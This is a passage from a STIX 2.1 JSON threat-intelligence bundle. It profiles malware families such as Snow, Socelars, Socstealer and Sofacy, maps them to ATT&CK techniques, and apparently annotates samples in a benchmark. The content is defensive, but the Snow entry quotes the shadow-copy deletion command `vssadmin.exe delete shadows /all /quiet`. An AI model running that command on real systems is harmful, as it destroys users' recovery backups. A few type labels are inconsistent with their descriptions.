allocate memory and write code into another process (`Process Hollowing` or `Process Injection`). (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Snoload",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/snoload"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc6b5b04-7628-5922-b0e9-c325b24b2024",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--daac3b89-d8a9-5a3e-b36d-4c12bac821b1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snoload exhibits technique T1105 (Ingress Tool Transfer (The core function of downloading the secondary payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--30c09ea8-9d61-5abd-b8c0-e42dd45fed25",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--daac3b89-d8a9-5a3e-b36d-4c12bac821b1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snoload exhibits technique T1055 (Process Injection (Injecting the downloaded payload directly into memory))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e3b97a85-4cd0-5f93-9423-bb4ce9ab33b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--daac3b89-d8a9-5a3e-b36d-4c12bac821b1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snoload exhibits technique T1027 (Obfuscated Files or Information (Hiding C2 domains and API calls from static analysis))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37392b21-764e-5960-a5f4-8f658e85043b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--daac3b89-d8a9-5a3e-b36d-4c12bac821b1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snoload exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Primary delivery mechanism via weaponized documents))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e5698d33-0ca4-5981-b8d6-5b5f50a2c4bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Snorm",
      "description": "Trojan:Win32/Snorm is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Snorm</b><br>To an end-user, a Snorm infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Snorm is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Snorm is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Snorm frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Snorm reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Snorm",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/snorm"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2968f4c-0695-5dbd-9676-e3c4accc0610",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5698d33-0ca4-5981-b8d6-5b5f50a2c4bd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snorm exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--52cb4076-a2ce-5d87-8a76-e9857a1a7fa3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5698d33-0ca4-5981-b8d6-5b5f50a2c4bd",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snorm exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--adf61db5-51eb-5190-b988-09049315e335",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5698d33-0ca4-5981-b8d6-5b5f50a2c4bd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snorm exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6fdc6c8e-1cde-532d-ae1c-310849de997b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5698d33-0ca4-5981-b8d6-5b5f50a2c4bd",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snorm exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--87862f87-31a4-5b16-b3b1-8740b56f12bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5698d33-0ca4-5981-b8d6-5b5f50a2c4bd",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snorm exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cb50e0dd-0e16-5d18-99e3-6c01fbec5f3a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Snow",
      "description": "<h3>Executive Summary</h3>\nSnow (often associated with the Snow Ransomware family or a specific Trojan downloader) is a malicious threat designed to infiltrate Windows systems, establish persistence, and execute destructive payloads. When operating as ransomware, Snow utilizes strong encryption algorithms to lock down the victim's critical data, demanding a ransom payment in exchange for the decryption key, causing immediate and severe operational downtime.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSnow is predominantly distributed via targeted phishing campaigns containing weaponized attachments, or by exploiting weak Remote Desktop Protocol (RDP) credentials exposed to the public internet.\n\nUpon successful execution, the malware operates with a focus on speed and destruction:\n<ul>\n<li><strong>Defense Evasion:</strong> Snow typically attempts to disable local Windows Defender services and terminate processes associated with enterprise backup solutions and database servers (e.g., SQL Server, Exchange) to ensure all data files are unlocked and ready for encryption.</li>\n<li><strong>Rapid File Encryption:</strong> The ransomware scans local drives and mapped network shares, targeting specific file extensions (documents, databases, archives). It encrypts these files using a strong cryptographic algorithm (often AES/RSA hybrid) and appends a specific extension (like `.snow`) to the encrypted files.</li>\n<li><strong>Shadow Copy Deletion:</strong> To prevent easy recovery, Snow almost universally executes commands (like `vssadmin.exe delete shadows /all /quiet`) to instantly destroy Windows Volume Shadow Copies and disable local backup routines.</li>\n<li><strong>Extortion:</strong> After the encryption phase is complete, it drops a ransom note outlining the payment instructions (usually in cryptocurrency) and threatening permanent data loss.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Snow ransomware infection is a catastrophic security incident resulting in immediate, severe operational downtime and massive data loss. Due to the strength of modern encryption, files cannot be recovered without the private key or a viable offline backup.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Physical Isolation:</strong> Disconnect the infected machine from the network immediately (pull the Ethernet cable/disable Wi-Fi) to halt the encryption process and prevent the ransomware from traversing SMB shares to encrypt centralized file servers.</li>\n<li><strong>Do Not Reboot:</strong> Leave the machine powered on. Rebooting may trigger further destructive routines or destroy the encryption key if it temporarily resides in RAM.</li>\n<li><strong>Restore from Offline Backups:</strong> The only reliable remediation is to completely wipe the infected system (bare-metal reinstall) and restore the data from secure, offline backups that were unreachable by the ransomware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransomware.Snow",
        "Trojan-Ransom.Win32.Snow",
        "Filecoder.Snow"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Snow",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/snow"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c56f93da-fb3b-54d1-a9e5-a4be5f9f8222",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cb50e0dd-0e16-5d18-99e3-6c01fbec5f3a",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snow exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c126e63e-5e69-56d1-ba36-e639b0d2cb72",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cb50e0dd-0e16-5d18-99e3-6c01fbec5f3a",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snow exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff887279-4571-5ae2-84a9-c0a012b530fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cb50e0dd-0e16-5d18-99e3-6c01fbec5f3a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snow exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d4ead90-5734-5bdc-a88f-9bdc770c0f5b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cb50e0dd-0e16-5d18-99e3-6c01fbec5f3a",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snow exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c3edd011-9c37-58fa-8601-aece09dcfd82",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Socelars",
      "description": "Trojan:Win32/Socelars is a targeted browser session hijacking and credential theft trojan that surfaced in 2019, specifically engineered to compromise corporate social media and e-commerce advertising accounts. Distributed through deceptive lures\u2014such as fraudulent video player codecs, YouTube video downloader utilities, and weaponized PDF converters\u2014Socelars infiltrates Windows systems and extracts active session cookies, authentication tokens, and autofill payment card data from Google Chrome and Mozilla Firefox profile databases. The malware focuses explicitly on harvesting access tokens for Facebook Ads Manager and Amazon corporate seller accounts, transmitting stolen session data to command infrastructure to allow threat actors to hijack commercial ad budgets and launch illicit marketing campaigns. (Observed samples in benchmark: 159)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Socelars",
        "Trojan:Win32/Socelars",
        "Trojan.Socelars",
        "Win32/Socelars",
        "Socelars Stealer",
        "Socelars Facebook Hijacker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Socelars",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/socelars"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--50a93a8d-b315-57be-9cb4-4c305a50fccd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3edd011-9c37-58fa-8601-aece09dcfd82",
      "target_ref": "attack-pattern--93d05424-5b4c-5400-a22c-cc8acb493a1e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Socelars exhibits technique T1539 (Steal Web Session Cookie)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0e1218e-80d8-5153-8835-2a4413d694f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3edd011-9c37-58fa-8601-aece09dcfd82",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Socelars exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a1856f3a-8e9f-53a4-9f46-7faeb479e226",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3edd011-9c37-58fa-8601-aece09dcfd82",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Socelars exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c52c1d21-086f-5bc8-aa2e-f66002682ab7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3edd011-9c37-58fa-8601-aece09dcfd82",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Socelars exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c41aa75-f3f0-5131-b6a8-ed1fd8014a29",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3edd011-9c37-58fa-8601-aece09dcfd82",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Socelars exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--2485838b-99f2-5e6b-9422-e4c998c71c22",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1204.001: Malicious Link",
      "description": "MITRE ATT&CK Technique T1204.001 (Malicious Link) under tactic execution.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1204.001",
          "url": "https://attack.mitre.org/techniques/T1204/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0cc0fcd9-a3a6-55df-a5e1-dfa1fed53b3b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3edd011-9c37-58fa-8601-aece09dcfd82",
      "target_ref": "attack-pattern--2485838b-99f2-5e6b-9422-e4c998c71c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Socelars exhibits technique T1204.001 (Malicious Link)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--82552c9b-ec30-55a5-9de1-2d65439aa8a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Socks",
      "description": "Trojan:Win32/Socks (frequently cataloged in security telemetry as TrojanProxy.Win32.Socks, Backdoor.Win32.Socks, or Win32/SocksProxy) is a stealthy proxy relay trojan designed to convert infected Windows workstations and servers into covert SOCKS4 and SOCKS5 proxy nodes. Deployed by threat actors through exploit kits, malvertising, or secondary dropper stages, Socks binds listening sockets or initiates outbound reverse tunnels to attacker-controlled command relays. By establishing bi-directional network proxies on victim machines, cybercriminal syndicates route illicit internet traffic\u2014including credit card fraud transactions, credential-stuffing attacks, automated spam delivery, and anonymized command-and-control communications\u2014directly through legitimate corporate and residential IP addresses. This allows adversaries to bypass geo-fencing controls, evade IP reputation blocklists, and confound forensic attribution. (Observed samples in benchmark: 143)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Socks",
        "Trojan:Win32/Socks",
        "TrojanProxy.Win32.Socks",
        "Backdoor.Win32.Socks",
        "Win32/SocksProxy",
        "Socks Trojan",
        "Trojan.Socks"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Socks",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/socks"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b72f672-8830-5853-a92b-ef35959f4701",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82552c9b-ec30-55a5-9de1-2d65439aa8a5",
      "target_ref": "attack-pattern--d26b0080-b33f-58e9-a204-f4d14ddb8a23",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Socks exhibits technique T1090.002 (Proxy: External Proxy)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4739eb47-12d5-56b2-a125-c80875cbf4a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82552c9b-ec30-55a5-9de1-2d65439aa8a5",
      "target_ref": "attack-pattern--6da3a18b-2dc8-5bb7-8b6a-6bfb5a4c09e1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Socks exhibits technique T1562.004 (Impair Defenses: Disable or Modify System Firewall)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--36433457-a8a4-5ff9-9d72-1c80ec03c680",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82552c9b-ec30-55a5-9de1-2d65439aa8a5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Socks exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a49d504-d2c6-50de-8750-209fb8ca3118",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82552c9b-ec30-55a5-9de1-2d65439aa8a5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Socks exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d96aca7-4580-5f18-b2bd-4a5195d1223e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82552c9b-ec30-55a5-9de1-2d65439aa8a5",
      "target_ref": "attack-pattern--427a3e00-98bb-5de2-9a76-2010f8433198",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Socks exhibits technique T1584 (Compromise Infrastructure)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a5621036-a52e-5f87-ac46-db98f3627e50",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Socstealer",
      "description": "Trojan:Win32/Socstealer is a specialized form of spyware designed exclusively to harvest credentials and session tokens for major social media platforms (such as Facebook, Twitter/X, Instagram, and Discord). Unlike generic keyloggers, Socstealer represents a targeted approach to data theft, aiming to hijack valuable online identities for use in further social engineering, spam campaigns, or extortion.<br><br><b>Understanding Socstealer</b><br>To an end-user, a Socstealer infection is invisible. The user will only realize they have been compromised when they are suddenly locked out of their accounts, or when their friends begin receiving malicious links sent from their profiles. For a security analyst, Socstealer highlights the critical importance of protecting browser session data, as modern stealers often bypass Multi-Factor Authentication (MFA) by stealing the active session cookie rather than just the password.<br><br><b>Execution and Exfiltration Mechanics</b><br>Socstealer is typically distributed via phishing links sent over the very platforms it targets (e.g., a direct message on Discord containing a malicious executable disguised as a game) (`T1566.001`). Upon execution, it establishes persistence via the Registry Run keys (`T1547.001`). The malware's core function is to query the local databases (SQLite files) used by popular web browsers (Chrome, Edge, Firefox) (`T1555.003`). It specifically targets the cookies associated with social media domains. By extracting these active session tokens, the attacker can import them into their own browser and instantly assume the victim's identity without ever triggering an MFA prompt (`T1539`). The stolen database files are packed into an archive and exfiltrated to a C2 server via HTTP POST or directly to an attacker-controlled Telegram bot (`T1048.003`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the complete loss of control over digital identities and potential reputational damage. Host-based IoCs include EDR alerts for unknown processes (often running from `%AppData%`) accessing sensitive browser files like `Cookies` or `Login Data`. Network IoCs involve outbound HTTPS traffic containing large POST requests to unknown IPs or Telegram API endpoints (`api.telegram.org`) immediately after execution. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Socstealer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/socstealer"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--09aa473a-be25-5515-8dc2-ec3905747dd2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5621036-a52e-5f87-ac46-db98f3627e50",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Socstealer exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9233483-0631-5c56-884f-d3e46fba9560",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5621036-a52e-5f87-ac46-db98f3627e50",
      "target_ref": "attack-pattern--93d05424-5b4c-5400-a22c-cc8acb493a1e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Socstealer exhibits technique T1539 (Steal Web Session Cookie (Bypassing MFA))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--093b8fb1-4521-5605-a64f-f3bff71f5407",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5621036-a52e-5f87-ac46-db98f3627e50",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Socstealer exhibits technique T1048.003 (Exfiltration Over Alternative Protocol (Exfiltration via Telegram API))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1bedd7f9-a87c-56a4-bb9a-a9a937ac8f55",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5621036-a52e-5f87-ac46-db98f3627e50",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Socstealer exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--29dc0dc2-7c90-58cc-b8af-039892f5a694",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sofacy",
      "description": "Trojan:Win32/Sofacy (often synonymous with **X-Agent**, **Sednit**, or **APT28 / Fancy Bear**) represents an extremely sophisticated suite of espionage malware developed and utilized exclusively by the Russian Main Intelligence Directorate (GRU). Sofacy is not a single virus, but a highly modular, multi-platform framework designed for persistent, stealthy intelligence gathering, data exfiltration, and lateral movement within highly secure government, military, and corporate networks.<br><br><b>Understanding the Sofacy Ecosystem (APT28)</b><br>To an end-user, a Sofacy infection is undetectable. For a nation-state target or global enterprise, detecting Sofacy components (like X-Agent) is a critical, 'code red' incident indicating a targeted, active espionage campaign by a Tier 1 military intelligence agency. Sofacy tools are notoriously evasive, frequently utilizing zero-day exploits, advanced rootkit techniques, and complex encryption to hide their presence and communications.<br><br><b>Execution, Evasion, and Espionage Mechanics</b><br>Sofacy is typically deployed following successful spear-phishing campaigns utilizing zero-day exploits in Microsoft Office or Windows (`T1566.001`, `T1190`), or via compromised internet-facing infrastructure (like routers or firewalls). The core component, often called X-Agent, acts as a sophisticated backdoor (`T1105`). It establishes persistence using deep registry modifications, WMI event subscriptions, or by replacing legitimate system binaries (`T1546.003`). X-Agent is highly modular, communicating with its C2 infrastructure using custom, encrypted protocols over HTTP/S or even via email protocols (POP3/SMTP) to blend with legitimate traffic (`T1071.001`). It supports modules for exhaustive file exfiltration (`T1048`), comprehensive keylogging and credential dumping (using tools similar to Mimikatz) (`T1003`), network reconnaissance, and lateral movement using stolen administrative tokens (`T1078`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a catastrophic breach of highly sensitive intellectual property, diplomatic communications, or military secrets. IoCs are notoriously difficult to spot, as APT28 constantly rotates its C2 infrastructure and customizes its payloads per target. EDR hunting must focus on anomalous, beaconing network traffic from legitimate system processes (like `svchost.exe`), unexpected WMI activity, and the execution of highly obfuscated PowerShell or batch scripts operating completely in memory. Detection often relies on high-fidelity, classified threat intelligence feeds. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
